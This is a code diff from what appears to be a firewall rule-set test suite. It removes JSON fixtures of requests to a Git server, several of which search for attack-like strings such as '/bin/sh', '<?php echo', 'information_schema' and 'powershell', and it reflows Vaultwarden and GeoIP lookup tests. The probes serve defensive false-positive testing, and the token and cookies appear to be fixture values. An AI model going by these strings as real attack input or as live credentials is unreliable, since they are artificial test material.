-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
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-{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
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-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
-{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}

internal/coreruleset/vaultwarden_test.go

@@ -68,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
 		`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
 	},
-	{
+	{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
-		http.MethodPut,
+	{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
-		vaultwardenProfile,
-		jsonBody,
-		`{"name":"VALUE","culture":"en-US"}`,
-	},
-	{
-		http.MethodPost,
-		vaultwardenPassword,
-		jsonBody,
-		`{"masterPasswordHint":"VALUE"}`,
-	},
 	{
 		http.MethodPost, "/api/organizations", jsonBody,
 		`{"name":"VALUE","billingEmail":"billing@example.com"}`,
 	},
 	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
-	{
+	{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
-		http.MethodPost,
+	{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
-		vaultwardenOrganization + "/groups",
+	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
-		jsonBody,
+	{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
-		`{"name":"VALUE"}`,
+	{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
-	},
-	{
-		http.MethodPost,
-		vaultwardenSettings,
-		jsonBody,
-		`{"invitation_org_name":"VALUE"}`,
-	},
-	{
-		http.MethodPost,
-		vaultwardenSettings,
-		jsonBody,
-		`{"smtp_from_name":"VALUE"}`,
-	},
-	{
-		http.MethodPost,
-		vaultwardenSecurityKey,
-		jsonBody,
-		`{"id":1,"name":"VALUE"}`,
-	},
-	{
-		http.MethodPut,
-		vaultwardenSecurityKey,
-		jsonBody,
-		`{"id":1,"name":"VALUE"}`,
-	},
 }
 
 // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -126,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, "/identity/connect/token", formData,
 		"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
 	},
-	{
+	{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
-		http.MethodPost,
+	{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
-		"/identity/accounts/prelogin/password",
-		jsonBody,
-		vaultwardenEmail,
-	},
-	{
-		http.MethodPost,
-		vaultwardenSignUp,
-		jsonBody,
-		`{"email":"VALUE","name":"Alice"}`,
-	},
 	{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
 	{
 		http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -151,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
 		http.MethodPost, vaultwardenPassword, jsonBody,
 		`{"authenticationData":{"salt":"VALUE"}}`,
 	},
-	{
+	{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
-		http.MethodPost,
-		vaultwardenPassword,
-		jsonBody,
-		`{"unlockData":{"salt":"VALUE"}}`,
-	},
 	{
 		http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
 		`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
 	},
-	{
+	{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
-		http.MethodPost,
+	{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
-		"/api/accounts/password-hint",
-		jsonBody,
-		vaultwardenEmail,
-	},
-	{
-		http.MethodPost,
-		"/api/accounts/email-token",
-		jsonBody,
-		`{"newEmail":"VALUE"}`,
-	},
 	{
 		http.MethodPost, "/api/emergency-access/invite", jsonBody,
 		`{"email":"VALUE","type":0}`,
 	},
-	{
+	{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
-		http.MethodPut,
-		vaultwardenOrganization,
-		jsonBody,
-		`{"billingEmail":"VALUE"}`,
-	},
 	{
 		http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
 		`{"emails":["alice@example.com","VALUE"],"type":2}`,
 	},
-	{
+	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
-		http.MethodPost,
+	{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
-		vaultwardenSettings,
+	{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
-		jsonBody,
-		`{"smtp_from":"VALUE"}`,
-	},
-	{
-		http.MethodPost,
-		vaultwardenSettings,
-		jsonBody,
-		`{"smtp_username":"VALUE"}`,
-	},
-	{
-		http.MethodPost,
-		vaultwardenSettings,
-		jsonBody,
-		`{"org_creation_users":"VALUE"}`,
-	},
 	{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
 	{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
-	{
+	{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
-		http.MethodPost,
+	{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
-		"/api/two-factor/send-email-login",
-		jsonBody,
-		vaultwardenEmail,
-	},
-	{
-		http.MethodPost,
-		"/api/two-factor/send-email",
-		jsonBody,
-		vaultwardenEmail,
-	},
 	{
 		http.MethodPut, "/api/two-factor/email", jsonBody,
 		`{"email":"VALUE","token":"123456"}`,
 	},
-	{
+	{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
-		http.MethodPost,
-		"/api/auth-requests",
-		jsonBody,
-		`{"email":"VALUE","type":0}`,
-	},
 }
 
 // vaultwardenBreachReport is the data breach report, which sends an address
@@ -351,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
 
 		got, _ := inspectBody(t, crs, r, refused.body)
 		if got.Score < vaultwardenThreshold {
-			t.Errorf(
+			t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
-				"POST %s %s let through: %+v",
-				refused.target,
-				refused.body,
-				got,
-			)
 		}
 	}
 
@@ -392,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
 func masterPasswordHashes(count int) []string {
 	const size, seed = 32, 288
 
-	//nolint:gosec // a fixed sample
+	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
-	random := rand.New(rand.NewPCG(seed, seed))
 
 	hashes := make([]string, count)
 
@@ -441,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
 		}
 
-		if got, _ := inspectBody(t, crs, sent.r, body); len(
+		if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
-			got.RuleIDs,
+			t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
-		) != 0 {
-			t.Errorf(
-				"POST %s %v set off rules: %+v",
-				sent.r.target,
-				sent.names,
-				got,
-			)
 		}
 	}
 }
@@ -458,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
 	t.Parallel()
 
 	crs := readingBodies(t)
-	encrypted := vaultwardenUpload(
+	encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
-		"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
-	)
 
 	for _, target := range []string{
 		vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",

internal/lookup/file.go

@@ -236,11 +236,7 @@ func read(path string) (*maxminddb.Reader, error) {
 
 	reader, err := maxminddb.OpenBytes(data)
 	if err != nil {
-		return nil, fmt.Errorf(
+		return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
-			"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
-			path,
-			err,
-		)
 	}
 
 	return reader, nil

internal/lookup/file_internal_test.go

@@ -26,21 +26,11 @@ const (
 	testClient   = "203.0.113.9/32"
 )
 
-func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
+func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
-	germany := lookuptest.Network{
+	germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
-		ASN:     "AS64496",
+	northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
-		ASName:  "Example Net",
-		Country: "DE",
-	}
-	northKorea := lookuptest.Network{
-		ASN:     "AS64511",
-		ASName:  "Other Net",
-		Country: "KP",
-	}
 	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
 		testNetblock:    germany,
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
 			Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
 			Answered: now,
 		}) {
-			t.Errorf(
+			t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
-				"%s has the answer %+v, want %+v, answered %s",
-				client,
-				got,
-				want,
-				now,
-			)
 		}
 	}
 }
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
 // reading due by then is done. The test sends the changes itself, as the
 // watch of a directory cannot run in a bubble.
 
-func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
+func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
 		other := filepath.Join(dir, "replacement.mmdb")
 		writeDatabase(t, other, "KP")
 
-		//nolint:gosec // a file the test wrote
+		replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
-		replacement, err := os.ReadFile(other)
 		if err != nil {
 			t.Fatalf("read %s: %v", other, err)
 		}
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
 		wantCountry(t, f, "KP")
 
 		if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
-			t.Errorf(
+			t.Errorf("read at %s, with %d failures; want read now, with none",
-				"read at %s, with %d failures; want read now, with none",
+				f.LastRead(), f.ReadFailures())
-				f.LastRead(),
-				f.ReadFailures(),
-			)
 		}
 
 		wantAlerts(t, queue)
 	})
 }
 
-func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
+func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
 		wantCountry(t, f, "DE")
 
 		if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
-			t.Errorf(
+			t.Errorf("read at %s, with %d failures; want read at %s, with one",
-				"read at %s, with %d failures; want read at %s, with one",
+				f.LastRead(), f.ReadFailures(), read)
-				f.LastRead(),
-				f.ReadFailures(),
-				read,
-			)
 		}
 
 		wantAlerts(t, queue, alerts.Alert{
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		testNetblock: {
+		testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
-			ASN:     "AS64496",
